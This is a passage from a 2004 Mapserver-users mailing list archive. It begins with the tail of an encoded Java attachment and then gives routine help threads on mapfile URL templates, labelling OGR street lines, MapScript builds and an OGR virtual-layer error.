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

--Boundary_(ID_Cr1kzHME+8/55aJ9VAP29g)--


From steve.lime at dnr.state.mn.us  Wed Jan 21 10:26:07 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Wed, 21 Jan 2004 12:26:07 -0600
Subject: [Mapserver-users] Implementing ArcView's "hot link"
 function in MapServer
Message-ID: 

This is pretty easy. I use the same concept within our Recreation
Compass application, but instead of going to a photo I go to a web page.
Regardless the URL is built from attributes in a shapefile. To do this
you use URL templates in your mapfile. Here's the layer definition for
our State Parks layer in the Compass
(http://www.dnr.state.mn.us/maps/compass.html):

 LAYER 
    NAME stprkpy3
    GROUP stprkpy3
    STATUS DEFAULT
    TYPE POLYGON
    DATA shapefiles/stprkpy3w
    CLASS
      COLOR 204 153 102
    END
    TEMPLATE "http://www.dnr.state.mn.us/state_parks/[DIR]"
  END # state parks

In this case we store the directory on the website as an attribute in
the shapefile. The complete URL is built once a query is done and
MapServer will automatically forward the user to that URL. Depending on
how your client application is setup that could be to another window. To
do an image just build the URL to the right image in a similar manner.

Steve

>>> "Hisaji Ono"  1/20/2004 7:49:26 PM >>>
Hello.

 I'd like to link digital photos to their related site points in
MapServer
like ArcView's "hot link" function.

 Does anyone try to implement this function in MapServer? If so, could
you
give me any hint or show me any example?

 Regards.



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From mhaines94108 at hotmail.com  Wed Jan 21 10:32:27 2004
From: mhaines94108 at hotmail.com (Matthew Haines)
Date: Wed, 21 Jan 2004 13:32:27 -0500
Subject: [Mapserver-users] Labeling lines from OGR
References:  <400EABCF.6020906@pobox.com>
Message-ID: 

Frank,

That did the trick, sort of.  The problem is that the labels are
streetnames, and in the .map file they have a printing angle on them.  That
ensures that the streetname lies inside the whitespace that represents the
street.  Thus the tax block and lot map is readable.  However, as soon as I
start controlling the style information through MapServer, I lose the angle
and everything just prints horizontally like normal text.  The maps become
unreadable.

I've been struggling with these mapinfo streetname files for a while.  I get
them from the city planning folks.  Is there a good strategy to get some
control over the formatting of the streetnames without losing the angle?

I used ogr2ogr to translate the files into .shp files.  Doing so I got the
idea that maybe I could sneak in a font change or "turn on" the streetname
labels and then convert them back to .map files.  Is this convoluted or a
good strategy?  Ultimately I'd like to have everything inside my PostgreSQL
database, but I can't lose those angles.

Matthew

----- Original Message -----
From: "Frank Warmerdam" 
To: "Matthew Haines" 
Cc: 
Sent: Wednesday, January 21, 2004 11:41 AM
Subject: Re: [Mapserver-users] Labeling lines from OGR


> Matthew Haines wrote:
> > I have a .tab file which I am currently accessing through OGR.  It
> > contains lines like this:
> >
> > OGRFeature(bklion):537
> >  Street (String) = FT HAMILTON
> >  FromLeft (Integer) = 105
> >  ToLeft (Integer) = 107
> >  FromRight (Integer) = 106
> >  ToRight (Integer) = 110
> >  ZipLeft (Integer) = 11209
> >  ZipRight (Integer) = 11209
> >  Style = PEN(w:1px,c:#c0c0c0,id:"mapinfo-pen-2.ogr-pen-0")
> >  LINESTRING (976686.133 162407.387,976203.783 161682.929)
> >
> > When I add them to my .map file as a layer the lines draw nicely.
> > However I can't get the street ('FT HAMILTON' in this example) to draw.
> > What is the minimal stuff I can put in my layer to get these labelled?
> > Below is my current layer.  I have tried it with the STYLEITEM removed
> > and also with the LABEL block removed, but no labels.
>
> Matthew,
>
> Daniel might have a more detailed response, but my take on this is that
> the mapinfo file itself does not by default request a rendering of the
> street names.  That is, there is no "LABEL" action in the Style string.
> So, the STYLEITEM AUTO will just use the PEN information to draw the line
> properly.
>
> To do the labelling you will likely have to add another LAYER definition
> in your .map file, coming from the same .tab file, but in this one use
> normal MapServer mechanisms to draw labels along the line from the Street
> attribute -- but don't use STYLEITEM AUTO.  I am not too up on the
labelling
> stuff, but you should be able to find info in the normal tutorials on
this.
>
> The key think to recognise is that the .tab autostyling information does
not
> include the labels, so it has to be handled in a seperate rendering pass
> (that is ... as an additional layer).
>
> Good luck,
>
> --
> ---------------------------------------+----------------------------------
----
> I set the clouds in motion - turn up   | Frank Warmerdam,
warmerdam at pobox.com
> light and sound - activate the windows | http://pobox.com/~warmerdam
> and watch the world go round - Rush    | Geospatial Programmer for Rent
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>


From gengx at agr.gc.ca  Wed Jan 21 10:33:03 2004
From: gengx at agr.gc.ca (Xiaoyuan Geng)
Date: Wed, 21 Jan 2004 13:33:03 -0500
Subject: [Mapserver-users] How does each version of the Mapscript modules find its
 Mapserver?
Message-ID: 

Hello

I have three compiled Mapservers in my CGI-bin. I have had the
mapscript modules compiled for each of the Mapservers. How do I know
that my Mapscript module calls its corresponding Mapserver? 

Would be that the solution if I copy/install  the compiled Mapservers
and Mapscripts using name conventions as:  
                            mapserv_xxx     in the CGI-bin directory
                            mapscript_xxx   in the php extension
directory

Thank you very much!

Shawn



From hjulien at nrcan.gc.ca  Wed Jan 21 10:39:06 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Wed, 21 Jan 2004 13:39:06 -0500
Subject: [Mapserver-users] RE: VirtualSpatialData (OGR Connectiontype)
Message-ID: <06B403677C41D51194550002A55107D201F78FE8@s5-stf1-r1.nrn.nrcan.gc.ca>

Corrections made on the original message:
_________________________________________________


Hi,
I'm trying out the Virtual Spatial Data procedure in MapServerWiki
(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData) with IIS
and an Access 2000 ODBC connection.

I keep on getting the following error message when I attempt to see my map:

msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.

msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'. File
not found or unsupported format.

Anyone can help me?



Here is my virtual file (mgwi.ovf):


    
        ODBC:MGWI_MAPSERVER 
 	tblloc 
	wkbPoint
	         
	 
    





My virtual layer is in the same directory as my shapefiles:

SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"




Here is the section of my mapfile where I call my virtual layer:

LAYER
	NAME "MGWI_TBLLOC"
	TYPE POINT
	CONNECTIONTYPE OGR
	CONNECTION "mgwi.ovf"
	DATA "MGWI_TBLLOC"
	STATUS DEFAULT
	LABELITEM "LOCID"
	PROJECTION
		"init=epsg:26920"
	END #projection
	CLASS
		SYMBOL 'circle'
		SIZE 8
		LABEL
			COLOR 132 31 31
			SHADOWCOLOR 218 218 218
			SHADOWSIZE 2 2
			TYPE TRUETYPE
			FONT arial-bold
			FORCE true
			SIZE 10
			POSITION auto
			PARTIALS FALSE
			MINDISTANCE 0
			BUFFER 2
		END # end of label
	    TEMPLATE
"d:\webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.html"
	END # CLASS
END # LAYER






==========================================
H?ryk
NRCan

-----Message d'origine-----
De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
Envoy? : Wednesday, January 14, 2004 8:44 AM
? : 'spencer at dmsolutions.ca'
Cc : 'Mapserver-users at lists.gis.umn.edu'
Objet : RE: TR: [Mapserver-users] MySQL and Mapserver


Thanks

H?ryk

-----Message d'origine-----
De : Paul Spencer [mailto:pagameba at magma.ca]
Envoy? : Tuesday, January 13, 2004 5:00 PM
? : Julien, Heryk
Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
Objet : Re: TR: [Mapserver-users] MySQL and Mapserver


Maybe you missed it?

http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.html

Cheers,

Paul

Julien, Heryk wrote:

> Hi Paul,
> Could you send me or post information on the "new format in 
> OGR to set up a virtual layer that can draw columns from any ODBC data 
> source and map two of the columns to x and y locations"?
> 
> Thanks
> H?ryk
> 
> -----Message d'origine-----
> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
> Envoy? : Monday, January 05, 2004 9:23 AM
> ? : 'spencer at dmsolutions.ca'
> Cc : 'Mapserver-users at lists.gis.umn.edu'
> Objet : RE: [Mapserver-users] MySQL and Mapserver
> 
> 
> Hi,
> I am also very interseted in that fonction. I would like to be able to map
> well positions from a database x and y colums. Would this permit me to
have
> an up to date point geometry layer which reflects the changes in my well
> database? Can you send me more details?
> 
> Thanks
> 
> H?ryk
> NRCan
> 
> -----Message d'origine-----
> De : Paul Spencer [mailto:pagameba at magma.ca]
> Envoy? : Saturday, January 03, 2004 4:28 PM
> ? : bartvde at xs4all.nl
> Cc : mapserver-users at lists.gis.umn.edu
> Objet : Re: [Mapserver-users] MySQL and Mapserver
> 
> 
> Bart,
> 
> if you are interested in point geometries only, there is a new format in 
> OGR to set up a virtual layer that can draw columns from any ODBC data 
> source and map two of the columns to x and y locations.  We've used it 
> for a couple of clients and it works very nicely.  If you are interested 
> I can send you more details.
> 
> Cheers,
> 
> Paul
> 
> Bart van den Eijnden wrote:
> 
> 
>>Hi list,
>>
>>I see in the history log that there has been some work done recently 
>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>connector. Can it be used already?
>>
>>Also, is it possible to keep the geometries in shapefiles and use 
>>Mapserver JOINS to link to tables in MySQL?
>>
>>Thanks in advance for the info.
>>
>>Best regards,
>>Bart
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
> 
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From hjulien at nrcan.gc.ca  Wed Jan 21 10:36:31 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Wed, 21 Jan 2004 13:36:31 -0500
Subject: [Mapserver-users] VirtualSpatialData (OGR Connectiontype)
Message-ID: <06B403677C41D51194550002A55107D201F78FE7@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi,
I'm trying out the Virtual Spatial Data procedure in MapServerWiki
(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData) with IIS
and an Access 2000 ODBC connection.

I keep on getting the following error message when I attempt ton see my map:

msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.

msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'. File
not found or unsupported format.

Anyone can help me?



Here is my virtual file (mgw.ovf):


    
        ODBC:MGWI_MAPSERVER 
 	tblloc 
	wkbPoint
	         
	 
    





My virtual layer is in the same directory as my shapefiles:

SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"




Here is the section of my mapfile where I call my virtual layer:

LAYER
	NAME "MGWI_TBLLOC"
	TYPE POINT
	CONNECTIONTYPE OGR
	CONNECTION "mgwi.ovf"
	DATA "MGWI_TBLLOC"
	STATUS DEFAULT
	LABELITEM "LOCID"
	PROJECTION
		"init=epsg:26920"
	END #projection
	CLASS
		SYMBOL 'circle'
		SIZE 8
		LABEL
			COLOR 132 31 31
			SHADOWCOLOR 218 218 218
			SHADOWSIZE 2 2
			TYPE TRUETYPE
			FONT arial-bold
			FORCE true
			SIZE 10
			POSITION auto
			PARTIALS FALSE
			MINDISTANCE 0
			BUFFER 2
		END # end of label
	    TEMPLATE
"d:\webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.html"
	END # CLASS
END # LAYER






==========================================
H?ryk
NRCan

-----Message d'origine-----
De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
Envoy? : Wednesday, January 14, 2004 8:44 AM
? : 'spencer at dmsolutions.ca'
Cc : 'Mapserver-users at lists.gis.umn.edu'
Objet : RE: TR: [Mapserver-users] MySQL and Mapserver


Thanks

H?ryk

-----Message d'origine-----
De : Paul Spencer [mailto:pagameba at magma.ca]
Envoy? : Tuesday, January 13, 2004 5:00 PM
? : Julien, Heryk
Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
Objet : Re: TR: [Mapserver-users] MySQL and Mapserver


Maybe you missed it?

http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.html

Cheers,

Paul

Julien, Heryk wrote:

> Hi Paul,
> Could you send me or post information on the "new format in 
> OGR to set up a virtual layer that can draw columns from any ODBC data 
> source and map two of the columns to x and y locations"?
> 
> Thanks
> H?ryk
> 
> -----Message d'origine-----
> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
> Envoy? : Monday, January 05, 2004 9:23 AM
> ? : 'spencer at dmsolutions.ca'
> Cc : 'Mapserver-users at lists.gis.umn.edu'
> Objet : RE: [Mapserver-users] MySQL and Mapserver
> 
> 
> Hi,
> I am also very interseted in that fonction. I would like to be able to map
> well positions from a database x and y colums. Would this permit me to
have
> an up to date point geometry layer which reflects the changes in my well
> database? Can you send me more details?
> 
> Thanks
> 
> H?ryk
> NRCan
> 
> -----Message d'origine-----
> De : Paul Spencer [mailto:pagameba at magma.ca]
> Envoy? : Saturday, January 03, 2004 4:28 PM
> ? : bartvde at xs4all.nl
> Cc : mapserver-users at lists.gis.umn.edu
> Objet : Re: [Mapserver-users] MySQL and Mapserver
> 
> 
> Bart,
> 
> if you are interested in point geometries only, there is a new format in 
> OGR to set up a virtual layer that can draw columns from any ODBC data 
> source and map two of the columns to x and y locations.  We've used it 
> for a couple of clients and it works very nicely.  If you are interested 
> I can send you more details.
> 
> Cheers,
> 
> Paul
> 
> Bart van den Eijnden wrote:
> 
> 
>>Hi list,
>>
>>I see in the history log that there has been some work done recently 
>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>connector. Can it be used already?
>>
>>Also, is it possible to keep the geometries in shapefiles and use 
>>Mapserver JOINS to link to tables in MySQL?
>>
>>Thanks in advance for the info.
>>
>>Best regards,
>>Bart
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
> 
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From jvanulde at nrcan.gc.ca  Wed Jan 21 10:45:41 2004
From: jvanulde at nrcan.gc.ca (Van Ulden, Joost)
Date: Wed, 21 Jan 2004 13:45:41 -0500
Subject: [Mapserver-users] Heeeeeelp in spanish please
Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B8957D@s5-van1-r1.ess.nrcan.gc.ca>

There is Spanish documentation available on the MapServer site.
Alternatively you can contact German Garea of the Argentina Geological
Survey at mailto:ggarea at secind.mecon.gov.ar.  We have a spanish mapserver
workshop with an installer that you are welcome to try also.

Cheers,

============================================
Joost van Ulden
Programmer/Analyst
Natural Resources Canada / Ressources naturelles Canada
Geological Survey of Canada / Commission geologique du Canada
101 - 605 Robson Street / 101 - 605 rue Robson
